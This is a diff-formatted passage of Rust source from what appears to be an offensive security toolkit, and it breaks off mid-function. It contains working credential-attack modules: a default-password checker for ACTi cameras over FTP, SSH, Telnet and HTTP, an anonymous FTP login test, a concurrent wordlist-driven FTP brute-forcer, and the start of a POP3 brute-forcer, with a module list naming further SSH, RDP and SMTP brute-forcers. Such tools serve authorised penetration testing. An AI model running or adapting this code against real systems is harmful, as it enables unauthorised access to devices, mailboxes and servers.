||||
}
|
||||
|
||||
/// FTP check (async)
|
||||
pub async fn check_ftp(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying FTP: {}:{}", username, password);
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
match FtpStream::connect(address).await {
|
||||
Ok(mut ftp) => {
|
||||
if ftp.login(username, password).await.is_ok() {
|
||||
println!("[+] FTP credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
}
|
||||
Err(_) => continue,
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// SSH check (blocking, so we use spawn_blocking)
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying SSH: {}:{}", username, password);
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
if let Ok(stream) = TcpStream::connect(address) {
|
||||
let mut session = Session::new().context("Failed to create SSH session")?;
|
||||
session.set_tcp_stream(stream);
|
||||
session.handshake().context("SSH handshake failed")?;
|
||||
|
||||
if session.userauth_password(username, password).is_ok() && session.authenticated() {
|
||||
println!("[+] SSH credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Telnet check (blocking)
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying Telnet: {}:{}", username, password);
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
let parts: Vec<&str> = address.rsplitn(2, ':').collect();
|
||||
if parts.len() != 2 {
|
||||
continue;
|
||||
}
|
||||
let host = parts[1];
|
||||
let port: u16 = parts[0].parse().unwrap_or(23);
|
||||
|
||||
if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
|
||||
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
|
||||
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
|
||||
|
||||
// Give device time to respond
|
||||
std::thread::sleep(Duration::from_millis(500));
|
||||
|
||||
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
|
||||
let response = String::from_utf8_lossy(&buffer);
|
||||
if !response.contains("incorrect") && !response.contains("failed") {
|
||||
println!("[+] Telnet credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// HTTP Web Login check (async)
|
||||
pub async fn check_http_form(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying HTTP: {}:{}", username, password);
|
||||
}
|
||||
|
||||
let data = [
|
||||
("LOGIN_ACCOUNT", *username),
|
||||
("LOGIN_PASSWORD", *password),
|
||||
("LANGUAGE", "0"),
|
||||
("btnSubmit", "Login"),
|
||||
];
|
||||
|
||||
let res = client
|
||||
.post(&url)
|
||||
.form(&data)
|
||||
.send()
|
||||
.await
|
||||
.context("[!] Failed to send HTTP form request")?;
|
||||
|
||||
let body = res.text().await.unwrap_or_default();
|
||||
|
||||
if !body.contains(">Password<") {
|
||||
println!("[+] HTTP credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Entrypoint for module - parallel checks
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let creds = vec![
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("Admin", "12345"),
|
||||
("Admin", "123456"),
|
||||
];
|
||||
|
||||
let base_config = Config {
|
||||
target: target.to_string(),
|
||||
port: 0,
|
||||
credentials: creds,
|
||||
stop_on_success: true,
|
||||
verbosity: true,
|
||||
};
|
||||
|
||||
let ftp_conf = Config { port: 21, ..base_config.clone() };
|
||||
let ssh_conf = Config { port: 22, ..base_config.clone() };
|
||||
let telnet_conf = Config { port: 23, ..base_config.clone() };
|
||||
let http_conf = Config { port: 80, ..base_config.clone() };
|
||||
|
||||
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
|
||||
check_ftp(&ftp_conf),
|
||||
async {
|
||||
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
|
||||
},
|
||||
async {
|
||||
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
|
||||
},
|
||||
check_http_form(&http_conf),
|
||||
);
|
||||
|
||||
ftp_res?;
|
||||
ssh_res?;
|
||||
telnet_res?;
|
||||
http_res?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod acti_camera_default;
|
||||
@@ -0,0 +1 @@
|
||||
pub mod acti;
|
||||
@@ -0,0 +1,41 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::process::Command;
|
||||
|
||||
/// Module entry point for raising ulimit
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
raise_ulimit().await
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535
|
||||
async fn raise_ulimit() -> Result<()> {
|
||||
println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
|
||||
|
||||
// Try to set limit using bash
|
||||
let output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n 65535")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
|
||||
|
||||
if !output.status.success() {
|
||||
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
|
||||
} else {
|
||||
println!("[+] Successfully ran ulimit -n 65535.");
|
||||
}
|
||||
|
||||
// Check current limit
|
||||
let check_output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
|
||||
|
||||
if check_output.status.success() {
|
||||
let limit = String::from_utf8_lossy(&check_output.stdout);
|
||||
println!("[+] Current open file limit: {}", limit.trim());
|
||||
} else {
|
||||
println!("[-] Warning: Could not verify new ulimit.");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
target.to_string()
|
||||
} else {
|
||||
let clean = if target.starts_with('[') && target.ends_with(']') {
|
||||
&target[1..target.len() - 1]
|
||||
} else {
|
||||
target
|
||||
};
|
||||
if clean.contains(':') {
|
||||
format!("[{}]:{}", clean, port)
|
||||
} else {
|
||||
format!("{}:{}", clean, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Anonymous FTP/FTPS login test with IPv6 support
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let addr = format_addr(target, 21);
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
|
||||
println!("[*] Connecting to FTP service on {}...", addr);
|
||||
|
||||
// 1️⃣ Try plain FTP first
|
||||
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if let Ok(_) = result {
|
||||
println!("[+] Anonymous login successful (FTP)");
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(());
|
||||
} else if let Err(e) = result {
|
||||
if e.to_string().contains("530") {
|
||||
println!("[-] Anonymous login rejected (FTP)");
|
||||
return Ok(());
|
||||
} else if e.to_string().contains("550 SSL") {
|
||||
println!("[*] FTP server requires TLS — upgrading to FTPS...");
|
||||
} else {
|
||||
return Err(anyhow!("FTP error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
|
||||
Err(_) => println!("[-] FTP connection timed out"),
|
||||
}
|
||||
|
||||
// 2️⃣ Fallback to FTPS
|
||||
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
ftps = ftps
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
|
||||
|
||||
match ftps.login("anonymous", "anonymous").await {
|
||||
Ok(_) => {
|
||||
println!("[+] Anonymous login successful (FTPS)");
|
||||
let _ = ftps.quit().await;
|
||||
}
|
||||
Err(e) if e.to_string().contains("530") => {
|
||||
println!("[-] Anonymous login rejected (FTPS)");
|
||||
}
|
||||
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,393 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use suppaftp::{
|
||||
AsyncFtpStream,
|
||||
AsyncNativeTlsFtpStream,
|
||||
AsyncNativeTlsConnector,
|
||||
};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::PathBuf,
|
||||
sync::Arc, // Keep Arc
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore}, // Import Semaphore
|
||||
time::{sleep, Duration}
|
||||
};
|
||||
use std::path::Path;
|
||||
use sysinfo::System;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
async fn dynamic_throttle(running: usize, max_concurrency: usize) {
|
||||
let mut system = System::new_all();
|
||||
system.refresh_all();
|
||||
|
||||
let cpu_count = system.cpus().len();
|
||||
let cpu_usage = if cpu_count > 0 {
|
||||
system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / cpu_count as f32
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
let total_memory = system.total_memory();
|
||||
let ram_used = if total_memory > 0 {
|
||||
system.used_memory() as f32 / total_memory as f32
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
if cpu_usage > 80.0 || ram_used > 0.8 {
|
||||
sleep(Duration::from_millis(50)).await;
|
||||
} else if cpu_usage > 60.0 || ram_used > 0.6 {
|
||||
sleep(Duration::from_millis(25)).await;
|
||||
} else if running > max_concurrency { // This condition is now less critical for preventing "too many open files"
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
} else {
|
||||
sleep(Duration::from_millis(1)).await;
|
||||
}
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
target.to_string()
|
||||
} else {
|
||||
let clean_target = if target.starts_with('[') && target.ends_with(']') {
|
||||
&target[1..target.len() - 1]
|
||||
} else {
|
||||
target
|
||||
};
|
||||
if clean_target.contains(':') {
|
||||
format!("[{}]:{}", clean_target, port)
|
||||
} else {
|
||||
format!("{}:{}", clean_target, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== FTP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("FTP Port", "21")?;
|
||||
if let Ok(p) = input.parse() { break p }
|
||||
println!("Invalid port. Try again.");
|
||||
};
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "500")?;
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
if n > 0 { break n }
|
||||
}
|
||||
println!("Invalid number. Try again.");
|
||||
};
|
||||
|
||||
// Create a semaphore to limit concurrent network operations
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ftp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
|
||||
|
||||
let addr = format_addr(target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
|
||||
if !combo_mode && users.is_empty() && !passes.is_empty() {
|
||||
return Err(anyhow!(
|
||||
"Username wordlist ('{}') is empty, but password wordlist ('{}') is not. \
|
||||
Cannot proceed in line-by-line (non-combo) mode as it requires usernames to pair with passwords.",
|
||||
usernames_file, passwords_file
|
||||
));
|
||||
}
|
||||
// (Optional: notifications for empty lists can remain here)
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
if combo_mode {
|
||||
for user in &users {
|
||||
if *stop.lock().await && stop_on_success { break; }
|
||||
for pass in &passes {
|
||||
if *stop.lock().await && stop_on_success { break; }
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore for the task
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
// Acquire a permit. This will block if `concurrency` limit is reached.
|
||||
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
|
||||
|
||||
// Proceed with the task logic only after a permit is acquired
|
||||
if *stop_clone.lock().await && stop_on_success { return; }
|
||||
match try_ftp_login(&addr_clone, &user_clone, &pass_clone).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_on_success {
|
||||
*stop_clone.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
// Permit is automatically released when `_permit` goes out of scope here
|
||||
}));
|
||||
}
|
||||
}
|
||||
} else { // Line-by-line mode
|
||||
if !users.is_empty() || passes.is_empty() {
|
||||
for (i, pass) in passes.iter().enumerate() {
|
||||
if *stop.lock().await && stop_on_success { break; }
|
||||
let user = if users.is_empty() { continue; } else {
|
||||
users.get(i % users.len()).expect("User list modulus logic error").clone()
|
||||
};
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
// Acquire a permit
|
||||
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
|
||||
|
||||
if *stop_clone.lock().await && stop_on_success { return; }
|
||||
match try_ftp_login(&addr_clone, &user, &pass_clone).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
|
||||
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
if stop_on_success {
|
||||
*stop_clone.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
// Permit released
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let mut processed_tasks_count = 0;
|
||||
while let Some(res) = tasks.next().await {
|
||||
dynamic_throttle(processed_tasks_count, concurrency).await; // Still useful for CPU/RAM based throttling
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
|
||||
}
|
||||
processed_tasks_count += 1;
|
||||
// (stop logic can remain)
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
if let Some(path) = save_path {
|
||||
let file_path = get_filename_in_current_dir(&path);
|
||||
match File::create(&file_path) {
|
||||
Ok(mut file) => {
|
||||
for (host, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file '{}'", file_path.display());
|
||||
break;
|
||||
}
|
||||
}
|
||||
println!("[+] Results saved to '{}'", file_path.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
// (try_ftp_login function remains unchanged from your last working version)
|
||||
// Attempt 1: Plain FTP
|
||||
match AsyncFtpStream::connect(addr).await {
|
||||
Ok(mut ftp) => {
|
||||
match ftp.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(true);
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("530") {
|
||||
return Ok(false);
|
||||
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
|
||||
log(true, &format!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr));
|
||||
} else if msg.contains("421") {
|
||||
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
// Log network errors if verbose, otherwise they might be too noisy
|
||||
log(true, &format!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
|
||||
return Err(anyhow!("FTP login error: {}", msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
|
||||
log(true, &format!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr));
|
||||
} else if msg.contains("421") {
|
||||
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
// Log network errors if verbose
|
||||
log(true, &format!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
|
||||
return Err(anyhow!("FTP connection error: {}", msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 2️⃣ Only if needed, try FTPS
|
||||
log(true, &format!("[i] {} Attempting FTPS login for user '{}'", addr, user));
|
||||
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
log(true, &format!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
|
||||
anyhow!("FTPS base connect failed: {}", e)
|
||||
})?;
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
let domain = addr
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(addr);
|
||||
|
||||
ftp_tls = ftp_tls
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
log(true, &format!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
|
||||
anyhow!("TLS upgrade failed: {}", e)
|
||||
})?;
|
||||
|
||||
match ftp_tls.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = ftp_tls.quit().await;
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("530") {
|
||||
Ok(false)
|
||||
} else {
|
||||
log(true, &format!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
|
||||
Err(anyhow!("FTPS error: {}", msg))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// === Helpers === (prompt_required, prompt_default, prompt_yes_no, load_lines, log, get_filename_in_current_dir remain unchanged)
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
}
|
||||
println!("This field is required.");
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} (y/n) [{}]: ", msg, default_char);
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
match input.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("Invalid input. Please enter 'y' or 'n'."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader.lines().filter_map(Result::ok).collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
Path::new(input)
|
||||
.file_name()
|
||||
.map(|name_os_str| PathBuf::from(format!("./{}", name_os_str.to_string_lossy())))
|
||||
.unwrap_or_else(|| PathBuf::from(input))
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
|
||||
pub mod sample_cred_check;
|
||||
pub mod ftp_bruteforce;
|
||||
pub mod ftp_anonymous;
|
||||
pub mod telnet_bruteforce;
|
||||
pub mod ssh_bruteforce;
|
||||
pub mod rtsp_bruteforce_advanced;
|
||||
pub mod rdp_bruteforce;
|
||||
pub mod enablebruteforce;
|
||||
pub mod smtp_bruteforce;
|
||||
pub mod pop3_bruteforce;
|
||||
@@ -0,0 +1,223 @@
|
||||
use anyhow::{Result, Context};
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write, Read};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::Duration;
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::unbounded;
|
||||
use native_tls::TlsConnector;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct Pop3BruteforceConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
username_wordlist: String,
|
||||
password_wordlist: String,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
use_ssl: bool,
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n=== POP3 Bruteforce ===\n");
|
||||
let port = prompt("Port (default 110 for POP3, 995 for POP3S): ").parse().unwrap_or(110);
|
||||
let username_wordlist = prompt("Username wordlist file: ");
|
||||
let password_wordlist = prompt("Password wordlist file: ");
|
||||
let threads = prompt("Threads (default 16): ").parse().unwrap_or(16);
|
||||
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let use_ssl = prompt("Use SSL/TLS (POP3S)? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let config = Pop3BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
username_wordlist,
|
||||
password_wordlist,
|
||||
threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
use_ssl,
|
||||
};
|
||||
run_pop3_bruteforce(config)
|
||||
}
|
||||
|
||||
fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
|
||||
let addr = normalize_target(&config.target, config.port)?;
|
||||
let host = get_hostname(&config.target);
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
let passwords = read_lines(&config.password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
|
||||
}
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(Mutex::new(false));
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
if config.full_combo {
|
||||
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
|
||||
} else if usernames.len() == 1 {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
} else if passwords.len() == 1 {
|
||||
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
|
||||
} else {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
}
|
||||
drop(tx);
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let addr = addr.clone();
|
||||
let host = host.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let config = config.clone();
|
||||
pool.execute(move || {
|
||||
while let Ok((user, pass)) = rx.recv() {
|
||||
if *stop_flag.lock().unwrap() { break; }
|
||||
if config.verbose { println!("[*] Trying {}:{}", user, pass); }
|
||||
let result = if config.use_ssl {
|
||||
try_pop3s_login_verbose(&addr, &host, &user, &pass, config.verbose)
|
||||
} else {
|
||||
try_pop3_login_verbose(&addr, &user, &pass, config.verbose)
|
||||
};
|
||||
match result {
|
||||
Ok(true) => {
|
||||
println!();
|
||||
println!("[+] VALID: {}:{}", user, pass);
|
||||
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
|
||||
if config.stop_on_success {
|
||||
*stop_flag.lock().unwrap() = true;
|
||||
